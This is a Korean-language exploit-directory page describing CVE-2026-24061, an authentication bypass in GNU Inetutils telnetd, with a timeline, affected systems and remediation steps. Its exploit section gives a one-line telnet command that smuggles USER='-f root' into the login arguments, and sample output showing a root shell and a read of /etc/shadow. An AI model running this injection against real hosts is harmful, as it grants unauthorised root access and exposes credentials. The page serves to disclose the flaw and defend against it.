Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061 — CVE-2026-24061 | Kitploit
도구/GitHubGitHub/0xblackash/cve-2026-24061
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHub0xblackash/cve-2026-24061

CVE-2026-24061

CVE-2026-24061

저장소 보기
1637일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚨 CVE-2026-24061 — “TelneTD”

ChatGPT 이미지 2026년 6월 25일 오후 3시 3분 25초

GNU Inetutils telnetd의 치명적인 원격 인증 우회
2015년의 유령이 돌아와 여전히 텔넷을 실행 중인 모든 것을 장악합니다.

CVSS Badge Status Badge KEV Badge Type Badge

인증 제로. 환경 변수 하나. 즉시 루트 쉘.


⚠️ 개요

CVE-2026-24061은 GNU Inetutils telnetd ≤ 2.7에서 발견된 심각한 원격 권한 상승 취약점입니다.

인증되지 않은 원격 공격자는 Telnet NEW-ENVIRON 옵션을 통해 USER 환경 변수를 "-f root"로 설정합니다.
telnetd는 이를 정화하지 않고 /bin/login에 바로 전달합니다 → login은 -f root를 보고 → 모든 인증을 건너뛰고 → 공격자를 루트 쉘에 빠뜨립니다.

위험한 코드는 거의 11년(약 2015년 이후) 동안 조용히 코드 트리에 남아 있었습니다.

“하나의 환경 변수. 비밀번호 없음. 완전한 루트. 2026년에 오신 것을 환영합니다.”


🔥 심각도 및 영향

  • CVSS v3.1 기본 점수: 9.8 / 심각(Critical)
    AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
  • 공격 경로: 네트워크 (TCP/23)
  • 필요 권한: 없음
  • 사용자 상호작용: 없음
  • 익스플로잇 성숙도: 사소함(모든 텔넷 클라이언트에서 한 줄 명령어로 작동)

2026년 3월의 현실:

  • 1월 말부터 대규모 스캐닝 및 익스플로잇 관찰됨
  • 레거시 임베디드 장치, OT 장비, 잊혀진 테스트 서버가 여전히 광범위하게 노출됨
  • 전체 시스템 손상: 자격 증명, 지속성, 랜섬웨어 진입점

🕵️ 발견

  • 2026년 1월 중순 GNU 유지 관리자에게 비공개 보고
  • 2026년 1월 말 oss-security를 통해 공개 공개
  • GNU Inetutils ≥ 2.8에서 수정됨(공개 직후 출시)

🔬 기술 심층 분석

telnetd가 다음을 포함하는 NEW-ENVIRON 옵션을 수신하면:

USER=-f root

해당 값을 /bin/login에 전달되는 argv에 직접 추가합니다:

execve("/bin/login", ["login", "-f", "root", ...], ...)

login 바이너리는 -f root를 다음과 같이 해석합니다:
“이 사용자는 이미 root로 인증됨 — 비밀번호 확인 불필요.”

→ 공격자는 # 프롬프트를 얻습니다. 게임 오버.

치명적인 설계 결정: -R / 환경 변수 전달은 권한이 있는 사용자로 제한되지 않았습니다.


📅 타임라인

날짜이벤트
~2015년 3월취약한 환경 변수 처리 도입
2026년 1월업스트림에 비공개 보고
2026년 1월 말공개 공개 및 CVE 할당
2026년 1월 말수정 버전 출시 (Inetutils ≥ 2.8)
2026년 1월 26일CISA KEV(알려진 익스플로잇 취약점) 카탈로그에 추가
2026년 2월–3월레거시/OT 시스템에 대한 익스플로잇 급증
2026년 3월많은 임베디드 벤더가 여전히 침묵 또는 패치 미적용

🖥️ 영향받는 시스템

취약한 버전: GNU Inetutils telnetd 1.9.3 – 2.7
2026년 일반적인 대상:

  • 레거시 산업용 컨트롤러 및 HMI
  • 오래된 라우터, 스위치, 프린터
  • Debian 기반 임베디드 어플라이언스
  • 잊혀진 개발/테스트 VM 및 컨테이너
  • 여전히 TCP/23을 노출하는 OT 게이트웨이

안전한 시스템:

  • busybox telnetd를 실행하는 시스템
  • Inetutils ≥ 2.8
  • 텔넷이 완전히 비활성화/방화벽 차단됨

💥 익스플로잇 실행

한 줄 명령어 (telnet 클라이언트가 있는 모든 Linux/macOS):

USER="-f root" telnet -a 192.168.1.50

일반적인 출력:

telned
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

엔터 키 한 번 누르면 — 전체 루트 액세스.


🛡️ 확인 및 조치 (2026년 3월)

1. 취약한 서비스 탐지

telnet localhost 23   # inetutils 배너 확인
inetutils-telnetd --version   # ≤ 2.7이면 취약

2. 서비스 중단 (가장 권장)

systemctl disable --now inetutils-inetd   # 또는 telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. 업데이트 (텔넷을 꼭 유지해야 하는 경우만 — 드문 경우)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. 방화벽 (이중 안전 장치)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 현재 상태 — 2026년 3월

  • 패치되지 않은 레거시 장치에 대한 익스플로잇 지속
  • 텔넷 사용률은 사상 최저 — 그러나 존재할 경우 여전히 치명적
  • 생태계 교훈: 레거시 프로토콜은 지뢰밭

🎓 돌에 새겨진 교훈

  • 11년 된 버그가 여전히 "죽은" 코드에 숨어 있음
  • 루트 생성 바이너리에 정화되지 않은 사용자 입력을 절대 전달하지 말 것
  • 인자 삽입 → 루트는 영원함
  • 텔넷은 2010년에 사라졌어야 했다. 2026년에 없애라.
도구 다운로드